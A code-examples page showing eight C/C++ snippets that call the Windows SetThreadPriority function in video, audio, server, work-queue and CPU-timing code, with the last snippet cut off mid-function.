Пример #1
0
HRESULT CVideoMixerOpenGL::Open(HWND hWndParent, DWORD dwNotifyID, DWORD dwMixerType, RECT *prPort)
{
	if(m_bOpen)
		return E_FAIL;

	memset(m_contextArrary,0,  sizeof(m_contextArrary));

	//Use m_hWndParent>prPort>(64,64)
	m_hWndParent = hWndParent;
	memset(&m_rViewPort, 0,sizeof(m_rViewPort));
	if(m_hWndParent)
	{
		::GetClientRect(m_hWndParent,&m_rViewPort);

		POINT p={0,0};
		::ClientToScreen(m_hWndParent , &p);
		OffsetRect(&m_rViewPort,p.x,p.y);
	}
	else if(prPort)
	{
		m_rViewPort = *prPort;
	}
	else
	{
		SetRect(&m_rViewPort , 0,0,64,64);
	}

	
	//Init dmcp
	m_pDMCP = FindDmcpDisplay();
	if(m_pDMCP != 0)
	{
		DMCP_DisplayOpenParams dmcp_params;
		ZeroMemory(&dmcp_params,sizeof(dmcp_params));
		dmcp_params.pInfoFunc = NULL;
		dmcp_params.pInfoFuncCtxt = NULL;
		HRESULT res = m_pDMCP->Open(&dmcp_params,sizeof(dmcp_params));
		if(FAILED(res))
		{
			DP("[GFXPRESENT]DMCP Open failed \n");
			m_pDMCP->Release();
			m_pDMCP = NULL;
			m_bCanDisp = true;
		}
		else
		{
			DMCP_DisplayState WrStatus;
			ZeroMemory(&WrStatus,sizeof(WrStatus));
			WrStatus.dwSize = sizeof(WrStatus);
			WrStatus.dwCPFlag = DMCP_CPFLAG_ACP | DMCP_CPFLAG_CGMSA | DMCP_CPFLAG_HDCP;
			WrStatus.dwACP = m_DMCP_ACP_flag;
			WrStatus.dwCGMSA= m_DMCP_CGMS_flag;
			WrStatus.dwHDCP= m_DMCP_HDCP_flag;
			
			res = m_pDMCP->SetDisplayState(&WrStatus);
			if(FAILED(res))
				DP("[GFXPRESENT]DMCP Set failed : res:%d __ %d \n",res, WrStatus.dwErrorCPFlag);

			/*SetDestination*/			
			HRESULT hr = m_pDMCP->SetTargetRect(&m_rViewPort);
			if(FAILED(hr))
				DP("[GFXPRESENT] SetTargetRect failed :0x%x \n",hr);
			m_bCanDisp= m_pDMCP->CanDisplay(FALSE);
	
		}

	}
	else
	{
		m_bCanDisp = true;
		DP("[GFXPRESENT_INFO]  DMCP isn't found \n");
	}

	m_bShow = FALSE;

	m_hThread = ::CreateThread(NULL, 0, glutThreadProc, this, 0, NULL);
	SetThreadPriority(m_hThread,THREAD_PRIORITY_HIGHEST);

	m_dwNotifyID = dwNotifyID;

	m_bOpen = true;
	return S_OK;
}
Пример #2
0
//--------------------------------------------------
// Functions
//--------------------------------------------------
void Server::Start()
{
	gbServerStarted = true;
	HANDLE hThread = (HANDLE)_beginthread(RunServer, 0, NULL);
	SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
}
Пример #3
0
// Boosts the calling thread's thread priority to a level higher than the default
// for new threads.
// Parameters:
//  None.
// Return:
//  true if the priority boost was successful, false otherwise.
bool GCToOSInterface::BoostThreadPriority()
{
    return !!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
}
Пример #4
0
//int WINAPI WinMain (HINSTANCE hInstance, 
//                    HINSTANCE hPrevInstance, 
//                    LPSTR     lpCmdLine, 
//                    int       nShowCmd)
VOID ServiceStart (DWORD dwArgc, LPTSTR *lpszArgv)
{
char  ConnectionName[15];
/*------------------------------------------------------------*/
/* Modification: Migration from single thread to multithread  */
/* Create thread calls are changed to _beginthread            */
/* XID on 7-DEC-1998                                          */
/*------------------------------------------------------------*/
// DWORD CreateThreadId;
char  StrAux[128];
int   CommServerNumber;
int   LoggerRouteId, CommServerRouteId;
char  *pStringSub[2];
BYTE  CommServerRedundant;
BYTE  DBServiceDepending;
BYTE  CommServerPreferred;

  // report the status to the service control manager.
  //
  if (!ReportStatusToSCMgr (SERVICE_START_PENDING, // service state
                            NO_ERROR,              // exit code
                            3000))                 // wait hint
    return;

  /* Create the event to stop the service */
  hStopEvent = CreateEvent (NULL, TRUE, FALSE, NULL);

  /*-----------------*/
  /* Init. procedure */
  /*-----------------*/

  /* Sets process priority (Normal class) */
  SetPriorityClass (GetCurrentProcess (), NORMAL_PRIORITY_CLASS);

  /* Modification: Process parameters are got from system registry */
  /* XID on 16-JUL-1998                                            */

  /* Get the CommServer Number CommServer.Ini */
  //CommServerNumber = GetPrivateProfileInt ("GENERAL", "CommServerId", 0,"CommServer.ini");
  if (!GetParameterRegistry (COMM_NUM_COMMSERVER, (unsigned char *) &CommServerNumber))
  {
    CommServerNumber = 0;
  } /* endif */

  /* Get the redundant configuration from the system registry */
  if (!GetParameterRegistry (COMM_REDUNDANT_CONFIGURATION, (unsigned char *) &CommServerRedundant))
  {
    CommServerRedundant = FALSE;
  } /* endif */
  /* Get the redundant configuration from the system registry */
  if (!GetParameterRegistry (COMM_DBSERVICE_DEPENDING, (unsigned char *) &DBServiceDepending))
  {
    DBServiceDepending = TRUE;
  } /* endif */
  if (!GetParameterRegistry (COMM_COMMSERVER_PREFERRED, (unsigned char *) &CommServerPreferred))
  {
    CommServerPreferred = TRUE;
  } /* endif */

  /*-------------------------------*/
  /* Basic Network init. procedure */
  /*-------------------------------*/

  /* Initialize interproccess communication */
  if (!RouterInit ())
  {
    /* Error */
    AddToMessageLog (NULL, 0, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_STD_ROUTER_FAILED);
    return;
  } /* endif */

  /* Detailed Logging initialization */
  (void) Log_SetProcessName("CommS");
  (void) Log_SetThreadName("SrvcMain");

  /* Get connection to send logger messages */
  sprintf (ConnectionName, "LOGGER%03u", 0);
  if (!GetConnection (ConnectionName, &LoggerRouteId))
  {
    /* Error */
    pStringSub[0] = ConnectionName;
    AddToMessageLog (pStringSub, 1, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_STD_GET_CONECTION_ERROR);
    return;
  } /* endif */

  /* Create connection to receive online messages from DBService */
  sprintf (ConnectionName, "COMSERV%03u", CommServerNumber);
  if (!CreateConnection (ConnectionName, &CommServerRouteId))
  {
    /* Error */
    pStringSub[0] = ConnectionName;
    AddToMessageLog (pStringSub, 1, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_STD_CREATE_CONECTION_ERROR);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (LoggerRouteId, -1, StrAux, 1);
    return;
  } /* endif */

  /* Start & version message */
  LogWrite (LoggerRouteId, CommServerRouteId, "", 1);
  sprintf (StrAux, CS_LOG_MSG_00036, COMM_SERVER_BUILD_NUMBER, COMM_SERVER_VERSION_DATE);
  LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
  sprintf (StrAux, CS_LOG_MSG_00109);
  LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
  sprintf (StrAux, CS_LOG_MSG_00037);
  LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
  #if defined (HASP_KEY)
    sprintf (StrAux, COMM_SERVER_HASP_ON_STR);
  #else
    sprintf (StrAux, COMM_SERVER_HASP_OFF_STR);
  #endif
  LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
  #if defined (PROT_CONV_LAYER)
    sprintf (StrAux, COMM_SERVER_CONV_ON_STR);
  #else
    sprintf (StrAux, COMM_SERVER_CONV_OFF_STR);
  #endif
  LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
  #if defined (PROT_ENCRYPTION)
    sprintf (StrAux, COMM_SERVER_ENC_ON_STR);
  #else
    sprintf (StrAux, COMM_SERVER_ENC_OFF_STR);
  #endif
  LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
  #if defined (PROT_COMPRESSION)
    sprintf (StrAux, COMM_SERVER_COMP_ON_STR);
  #else
    sprintf (StrAux, COMM_SERVER_COMP_OFF_STR);
  #endif
  LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
  /* Commserver Id */
  sprintf (StrAux, CS_LOG_MSG_00110, CommServerNumber);
  LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
  LogWrite (LoggerRouteId, CommServerRouteId, "", 1);

  /* Redundant configuration */
  if (CommServerRedundant)
  {
    sprintf (StrAux, CS_LOG_MSG_00125);
    LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
    sprintf (StrAux, CS_LOG_MSG_00124
             ,CommServerPreferred
             ,DBServiceDepending);
    LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
    LogWrite (LoggerRouteId, CommServerRouteId, "", 1);
  } /* endif */
  
  /* Set input buffer size for this route.    */
  /* This input buffer has to be large enough */
  /* to receive all the incomming messages    */
  SetInputBufferSize (CommServerRouteId, COMMSERVER_CONNECTION_INPUT_BUFFER_SIZE);

  /*---------------------*/
  /* DB access semaphore */
  /*---------------------*/

  if (!InitDBSection ())
  {
    /* Error */
    sprintf (StrAux, CS_LOG_MSG_00038);
    printf ("%s\n", StrAux);
    LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
    //AddToMessageLog (NULL, 0, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
    //                 EVLG_COMMSERVER_MAP_MEMORY_ERROR);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
    return;
  } /* endif */


  /*--------------------*/
  /* Map channel memory */  
  /*--------------------*/

  if (InitChannelMapData () != STATUS_OK)
  {
    /* Error */
    sprintf (StrAux, CS_LOG_MSG_00039);
    printf ("%s\n", StrAux);
    LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
    AddToMessageLog (NULL, 0, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_COMMSERVER_MAP_MEMORY_ERROR);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (LoggerRouteId, CommServerRouteId, StrAux, 1);
    return;
  } /* endif */

  /* Reset CommServer database */
  ResetDB ();

  /* Assign comm. server id. and basic routes */
  DB_PROCESS.CommServerNumber  = CommServerNumber;
  DB_PROCESS.LoggerRouteId     = LoggerRouteId;
  DB_PROCESS.CommServerRouteId = CommServerRouteId;

  /* CommServer redundancy initial state */
  DB_PROCESS.CommServerPartnerState = PROCESS_STATE_NORUNNING;
  DB_PROCESS.CommServerState        = PROCESS_STATE_NORUNNING;
  DB_PROCESS.DBServiceDepending     = DBServiceDepending;
  DB_PROCESS.CommServerPreferred    = CommServerPreferred;

  #if defined (HASP_KEY)
    /* Default hasp check */
    DB_PROCESS.HaspPresent = TRUE;
  #endif

  /*-------------*/
  /* MGL license */
  /*-------------*/
  
  MGL_ReadLicense ();

  /*------------------------*/
  /* Compression algorithms */
  /*------------------------*/

  Util_SplayTreeCompressInit (NULL);
  Util_SplayTreeUncompressInit (NULL);

  /*--------------------------*/
  /* Process critical secions */
  /*--------------------------*/

  InitializeCriticalSection (&DB_PROCESS.CSFreeChannels);
  InitializeCriticalSection (&DB_PROCESS.CSFreeNetworkThreads);
  InitializeCriticalSection (&DB_PROCESS.CSModifyCfg);

  /*---------------------------*/
  /* Other Network connections */
  /*---------------------------*/

  /* Get connection to send message to DBService */
  sprintf (ConnectionName, "DBCOMM%03u", 0);
  if (!GetConnection (ConnectionName, &DB_PROCESS.DBServiceRouteId))
  {
    /* Error */
    sprintf (StrAux, CS_LOG_MSG_00041, ConnectionName);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    pStringSub[0] = ConnectionName;
    AddToMessageLog (pStringSub, 1, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_STD_GET_CONECTION_ERROR);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    return;
  } /* endif */

  /* Get connection to send confirm messages */
  sprintf (ConnectionName, "DBCONF%03u", 0);
  if (!GetConnection (ConnectionName, &DB_PROCESS.DBConfirmRouteId))
  {
    /* Error */
    sprintf (StrAux, CS_LOG_MSG_00041, ConnectionName);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    pStringSub[0] = ConnectionName;
    AddToMessageLog (pStringSub, 1, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_STD_GET_CONECTION_ERROR);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    return;
  } /* endif */

  /* Get connection to send confirm messages */
  sprintf (ConnectionName, "DBSEQ%03u", 0);
  if (!GetConnection (ConnectionName, &DB_PROCESS.DBSeqRouteId))
  {
    /* Error */
    sprintf (StrAux, CS_LOG_MSG_00041, ConnectionName);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    pStringSub[0] = ConnectionName;
    AddToMessageLog (pStringSub, 1, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_STD_GET_CONECTION_ERROR);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    return;
  } /* endif */

  /* Initialize Network layer */
  if (!NetworkInit ())
  {
    /* Error */
    sprintf (StrAux, CS_LOG_MSG_00042);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    AddToMessageLog (NULL, 0, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_COMMSERVER_NETWORK_LAYER_INIT_ERROR);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    return;
  } /* endif */

  /*------------------*/
  /* Threads creation */
  /*------------------*/

  /*------------------------------------------------------------*/
  /* Modification: Migration from single thread to multithread  */
  /* Create thread calls are changed to _beginthread            */
  /* XID on 7-DEC-1998                                          */
  /*------------------------------------------------------------*/
  /* Create thread to receive messages from the DbService */
  // if (CreateThread (NULL, MAX_STACK, (LPTHREAD_START_ROUTINE) HostToTermThread, 
  //                   (LPVOID) NULL, 0, &CreateThreadId) == NULL)
  if (_beginthread (HostToTermThread, MAX_STACK, (LPVOID) NULL) == -1)
  {
    /* Error */
    sprintf (StrAux, CS_LOG_MSG_00043);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    AddToMessageLog (NULL, 0, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_STD_CREATE_THREAD_ERROR);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    return;
  } /* endif */

  /* Create thread to check channels integrity */
  // if (CreateThread (NULL, MAX_STACK, (LPTHREAD_START_ROUTINE) CheckChannelsThread, 
  //                   (LPVOID) NULL, 0, &CreateThreadId) == NULL)
  if (_beginthread (CheckChannelsThread, MAX_STACK, (LPVOID) NULL) == -1)
  {
    /* Error */
    sprintf (StrAux, CS_LOG_MSG_00045);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    AddToMessageLog (NULL, 0, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_STD_CREATE_THREAD_ERROR);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    return;
  } /* endif */

  /* If the redundancy is configured create the failover thread */
  if (CommServerRedundant)
  {
    if (_beginthread (FailOverThread, MAX_STACK, (LPVOID) NULL) == -1)
    {
      /* Error */
      sprintf (StrAux, CS_LOG_MSG_00045);
      LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
      AddToMessageLog (NULL, 0, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                       EVLG_STD_CREATE_THREAD_ERROR);
      sprintf (StrAux, CS_LOG_MSG_00035);
      LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
      return;
    } /* endif */
  }
  else
  {
    /* In not redundancy case it is always active */
    DB_PROCESS.CommServerState = PROCESS_STATE_ACTIVE;
  } /* endif */

  /*--------------------------*/
  /* CommServer configuration */
  /*--------------------------*/

  /* Offline parameters */
  if (!ReadOfflineDir ())
  {
    /* Error */
    sprintf (StrAux, CS_LOG_MSG_00046);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    AddToMessageLog (NULL, 0, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_COMMSERVER_OFFLINE_DIR_ERROR);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    return;
  } /* endif */

  /* Configuration message */
  sprintf (StrAux, CS_LOG_MSG_00047);
  LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 5);

  // report the status to the service control manager.
  //
  if (!ReportStatusToSCMgr (SERVICE_RUNNING,       // service state
                            NO_ERROR,              // exit code
                            3000))                    // wait hint
  {
    sprintf (StrAux, CS_LOG_MSG_00048);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    return;
  } /* endif */

  // XID on 17/OCT/2002
  // X25 support
  X25_Init ();

  /* Start message */
  AddToMessageLog (NULL, 0, EVENTLOG_INFORMATION_TYPE, SC_SYSTEM,
                   EVLG_STD_SERVICE_STARTED);

  /* Get configuration from DBService */
  if (!RemoteConfiguration ())
  //if (!ConfigureApp ())
  {
    /* Error */
    sprintf (StrAux, CS_LOG_MSG_00049);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);
    AddToMessageLog (NULL, 0, EVENTLOG_ERROR_TYPE, SC_SYSTEM,
                     EVLG_COMMSERVER_LOAD_CONFIG_ERROR);
    sprintf (StrAux, CS_LOG_MSG_00035);
    LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 1);

    /* Write the last status in the system registry */
    if (CommServerRedundant)
    {
      GetStatusFromPartnerStatus (PROCESS_STATE_NORUNNING,
                                  DB_PROCESS.CommServerState,
                                  DB_PROCESS.CommServerPartnerState);
    }  /* endif */

    return;
  } /* endif */

  /* Sets main thread to idle priority */
  SetThreadPriority (GetCurrentThread (), THREAD_PRIORITY_IDLE);

  /* Configuration message */
  sprintf (StrAux, CS_LOG_MSG_00050);
  LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, StrAux, 5);

  /*-----------------------------*/
  /* Wait for the the stop event */
  /*-----------------------------*/

  WaitForSingleObject (hStopEvent, INFINITE);
  LogWrite (DB_PROCESS.LoggerRouteId, DB_PROCESS.CommServerRouteId, CS_LOG_MSG_00051, 1);

  /* Write the last status in the system registry */
  if (CommServerRedundant)
  {
    GetStatusFromPartnerStatus (PROCESS_STATE_NORUNNING,
                                DB_PROCESS.CommServerState,
                                DB_PROCESS.CommServerPartnerState);
  } /* endif */

  AddToMessageLog (NULL, 0, EVENTLOG_INFORMATION_TYPE, SC_SYSTEM,
                   EVLG_STD_SERVICE_STOPPED);

  return;

} /* main */ 
Пример #5
0
/*static*/ int
directsound_init(cubeb ** context, char const * context_name)
{
  cubeb * ctx;

  *context = NULL;

  ctx = (cubeb *) calloc(1, sizeof(*ctx));

  ctx->ops = &directsound_ops;

  /* register a hidden window for DirectSound's SetCooperativeLevel */
  WNDCLASSEX wc;
  wc.cbSize        = sizeof(WNDCLASSEX);
  wc.style         = 0;
  wc.lpfnWndProc   = hidden_window_callback;
  wc.cbClsExtra    = 0;
  wc.cbWndExtra    = 0;
  wc.hInstance     = NULL;
  wc.hIcon         = NULL;
  wc.hCursor       = NULL;
  wc.hbrBackground = (HBRUSH) COLOR_WINDOW + 1;
  wc.lpszMenuName  = NULL;
  wc.lpszClassName = hidden_window_class_name;
  wc.hIconSm       = NULL;

  /* ignore the result as registration failure will show up when the
     window is created and this way there is no need for global
     tracking of whether the window class has been registered */
  RegisterClassEx(&wc);

  ctx->hidden_window = CreateWindowEx(WS_EX_NOACTIVATE | WS_EX_NOPARENTNOTIFY,
				      hidden_window_class_name, NULL, WS_DISABLED,
				      0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, NULL);
  if (!ctx->hidden_window) {
    directsound_destroy(ctx);
    return CUBEB_ERROR;
  }

  if (FAILED(DirectSoundCreate(NULL, &ctx->dsound, NULL))) {
    directsound_destroy(ctx);
    return CUBEB_ERROR;
  }
  assert(ctx->dsound);

  if (FAILED(ctx->dsound->SetCooperativeLevel(ctx->hidden_window, DSSCL_PRIORITY))) {
    directsound_destroy(ctx);
    return CUBEB_ERROR;
  }

  InitializeCriticalSection(&ctx->lock);

  ctx->streams_event = CreateEvent(NULL, FALSE, FALSE, NULL);
  if (!ctx->streams_event) {
    directsound_destroy(ctx);
    return CUBEB_ERROR;
  }

  uintptr_t thread = _beginthreadex(NULL, 64 * 1024,
				    cubeb_buffer_refill_thread, ctx, 0, NULL);
  if (!thread) {
    directsound_destroy(ctx);
    return CUBEB_ERROR;
  }
  ctx->refill_thread = reinterpret_cast<HANDLE>(thread);

  SetThreadPriority(thread, THREAD_PRIORITY_TIME_CRITICAL);

  *context = ctx;

  return CUBEB_OK;
}
Пример #6
0
osd_work_queue *osd_work_queue_alloc(int flags)
{
	int numprocs = effective_num_processors();
	osd_work_queue *queue;
	int threadnum;

	// allocate a new queue
	queue = (osd_work_queue *)malloc(sizeof(*queue));
	if (queue == NULL)
		goto error;
	memset(queue, 0, sizeof(*queue));

	// initialize basic queue members
	queue->tailptr = (osd_work_item **)&queue->list;
	queue->flags = flags;

	// allocate events for the queue
	queue->doneevent = CreateEvent(NULL, TRUE, TRUE, NULL);		// manual reset, signalled
	if (queue->doneevent == NULL)
		goto error;

	// initialize the critical section
	scalable_lock_init(&queue->lock);

	// determine how many threads to create...
	// on a single-CPU system, create 1 thread for I/O queues, and 0 threads for everything else
	if (numprocs == 1)
		queue->threads = (flags & WORK_QUEUE_FLAG_IO) ? 1 : 0;

	// on an n-CPU system, create (n-1) threads for multi queues, and 1 thread for everything else
	else
		queue->threads = (flags & WORK_QUEUE_FLAG_MULTI) ? (numprocs - 1) : 1;

	// clamp to the maximum
	queue->threads = MIN(queue->threads, WORK_MAX_THREADS);

	// allocate memory for thread array (+1 to count the calling thread)
	queue->thread = (work_thread_info *)malloc((queue->threads + 1) * sizeof(queue->thread[0]));
	if (queue->thread == NULL)
		goto error;
	memset(queue->thread, 0, (queue->threads + 1) * sizeof(queue->thread[0]));

	// iterate over threads
	for (threadnum = 0; threadnum < queue->threads; threadnum++)
	{
		work_thread_info *thread = &queue->thread[threadnum];
		uintptr_t handle;

		// set a pointer back to the queue
		thread->queue = queue;

		// create the per-thread wake event
		thread->wakeevent = CreateEvent(NULL, FALSE, FALSE, NULL);	// auto-reset, not signalled
		if (thread->wakeevent == NULL)
			goto error;

		// create the thread
		handle = _beginthreadex(NULL, 0, worker_thread_entry, thread, 0, NULL);
		thread->handle = (HANDLE)handle;
		if (thread->handle == NULL)
			goto error;

		// set its priority: I/O threads get high priority because they are assumed to be
		// blocked most of the time; other threads just match the creator's priority
		if (flags & WORK_QUEUE_FLAG_IO)
			SetThreadPriority(thread->handle, THREAD_PRIORITY_ABOVE_NORMAL);
		else
			SetThreadPriority(thread->handle, GetThreadPriority(GetCurrentThread()));
	}

	// start a timer going for "waittime" on the main thread
	begin_timing(queue->thread[queue->threads].waittime);
	return queue;

error:
	osd_work_queue_free(queue);
	return NULL;
}
Пример #7
0
//
//  COutputQueue Constructor :
//
//  Determines if a thread is to be created and creates resources
//
//     pInputPin  - the downstream input pin we're queueing samples to
//
//     phr        - changed to a failure code if this function fails
//                  (otherwise unchanges)
//
//     bAuto      - Ask pInputPin if it can block in Receive by calling
//                  its ReceiveCanBlock method and create a thread if
//                  it can block, otherwise not.
//
//     bQueue     - if bAuto == FALSE then we create a thread if and only
//                  if bQueue == TRUE
//
//     lBatchSize - work in batches of lBatchSize
//
//     bBatchEact - Use exact batch sizes so don't send until the
//                  batch is full or SendAnyway() is called
//
//     lListSize  - If we create a thread make the list of samples queued
//                  to the thread have this size cache
//
//     dwPriority - If we create a thread set its priority to this
//
COutputQueue::COutputQueue(
             IPin         *pInputPin,          //  Pin to send stuff to
             HRESULT      *phr,                //  'Return code'
             BOOL          bAuto,              //  Ask pin if queue or not
             BOOL          bQueue,             //  Send through queue
             LONG          lBatchSize,         //  Batch
             BOOL          bBatchExact,        //  Batch exactly to BatchSize
             LONG          lListSize,
             DWORD         dwPriority,
             bool          bFlushingOpt        // flushing optimization
            ) : m_lBatchSize(lBatchSize),
                m_bBatchExact(bBatchExact && (lBatchSize > 1)),
                m_hThread(NULL),
                m_hSem(NULL),
                m_List(NULL),
                m_pPin(pInputPin),
                m_ppSamples(NULL),
                m_lWaiting(0),
                m_pInputPin(NULL),
                m_bSendAnyway(FALSE),
                m_nBatched(0),
                m_bFlushing(FALSE),
                m_bFlushed(TRUE),
                m_bFlushingOpt(bFlushingOpt),
                m_bTerminate(FALSE),
                m_hEventPop(NULL),
                m_hr(S_OK)
{
    ASSERT(m_lBatchSize > 0);


    if (FAILED(*phr)) {
        return;
    }

    //  Check the input pin is OK and cache its IMemInputPin interface

    *phr = pInputPin->QueryInterface(IID_IMemInputPin, (void **)&m_pInputPin);
    if (FAILED(*phr)) {
        return;
    }

    // See if we should ask the downstream pin

    if (bAuto) {
        HRESULT hr = m_pInputPin->ReceiveCanBlock();
        if (SUCCEEDED(hr)) {
            bQueue = hr == S_OK;
        }
    }

    //  Create our sample batch

    m_ppSamples = new PMEDIASAMPLE[m_lBatchSize];
    if (m_ppSamples == NULL) {
        *phr = E_OUTOFMEMORY;
        return;
    }

    //  If we're queueing allocate resources

    if (bQueue) {
        DbgLog((LOG_TRACE, 2, TEXT("Creating thread for output pin")));
        m_hSem = CreateSemaphore(NULL, 0, 0x7FFFFFFF, NULL);
        if (m_hSem == NULL) {
            DWORD dwError = GetLastError();
            *phr = AmHresultFromWin32(dwError);
            return;
        }
        m_List = new CSampleList(NAME("Sample Queue List"),
                                 lListSize,
                                 FALSE         // No lock
                                );
        if (m_List == NULL) {
            *phr = E_OUTOFMEMORY;
            return;
        }


        DWORD dwThreadId;
        m_hThread = CreateThread(NULL,
                                 0,
                                 InitialThreadProc,
                                 (LPVOID)this,
                                 0,
                                 &dwThreadId);
        if (m_hThread == NULL) {
            DWORD dwError = GetLastError();
            *phr = AmHresultFromWin32(dwError);
            return;
        }
        SetThreadPriority(m_hThread, dwPriority);
    } else {
        DbgLog((LOG_TRACE, 2, TEXT("Calling input pin directly - no thread")));
    }
}
Пример #8
0
double CSystem::GetCPUSpeedGHz()
{
#ifdef _WIN64
	return 0;
#elif _WIN32
	//?先是存放计时次数,后存放固定时间间隔值
	unsigned long int       ticks;
	//?存放两固定时刻的CPU内置时钟值,值的含意为计数
	unsigned long int       stock0, stock1;
	//?存放内置时钟值之差,好固定时段的计数值 
	unsigned long int       cycles;
	//?存放频率,为了提高精度,采用了相邻的测的5个频率的平均值
	unsigned long int       freq[5] = { 0, 0, 0, 0, 0 };
	//?循环次数
	unsigned long int       nums = 0;
	//?存放频率之和
	unsigned long int       total = 0;
	LARGE_INTEGER       t0, t1;
	LARGE_INTEGER       countfreq;
	//?返回高精度的计数频率,即每秒多少次;
	if (!QueryPerformanceFrequency(&countfreq))
	{
		return 0.0f;
	}
	//?返回特定进程的优先级;
	DWORD priority_class = GetPriorityClass(GetCurrentProcess());
	//?返回特定线程的优先级;
	int   thread_priority = GetThreadPriority(GetCurrentThread());
	//?将当前进程设成实时进程;
	SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
	//?设定线程优先级;
	SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
	do
	{
		nums++;
		freq[4] = freq[3];
		freq[3] = freq[2];
		freq[2] = freq[1];
		freq[1] = freq[0];
		//?返回高精度计数的值;
		QueryPerformanceCounter(&t0);
		t1.LowPart = t0.LowPart;
		t1.HighPart = t0.HighPart;
		//?这句中的50和后面相同语句中的1000是一个经验值,起的作用是控制时间间隔,可以
		//?调节这两个值来实现最佳时间间隔。
		while ((unsigned long int)t1.LowPart - (unsigned long int)t0.LowPart < 10)
		{
			QueryPerformanceCounter(&t1);
		}
		_asm
		{
			//?启动读取CPU的内置时钟,其返回值是个64位的整数,高32到EDX,低32到EAX里
			rdtsc
				//?高位部份在短暂时间内是不会有变化的,故无需读出对比
				mov stock0, EAX
		}
		//? 重置初始时刻
		t0.LowPart = t1.LowPart;
		t0.HighPart = t1.HighPart;
		while ((unsigned long int)t1.LowPart - (unsigned long int)t0.LowPart < 1000)
		{
			QueryPerformanceCounter(&t1);
		}
		_asm
		{
			rdtsc
				mov  stock1, EAX
		}
		cycles = stock1 - stock0;
		ticks = (unsigned long int) t1.LowPart - (unsigned long int) t0.LowPart;
		ticks = ticks * 1000000;
		ticks = ticks / countfreq.LowPart;
		if (ticks % countfreq.LowPart > countfreq.LowPart / 2)
		{
			//? 使数据收敛
			ticks++;
		}
		//? 求出频率,单位:MHz
		freq[0] = cycles / ticks;
		if (cycles%ticks > ticks / 2)
		{
			//? 使数据收敛
			freq[0]++;
		}
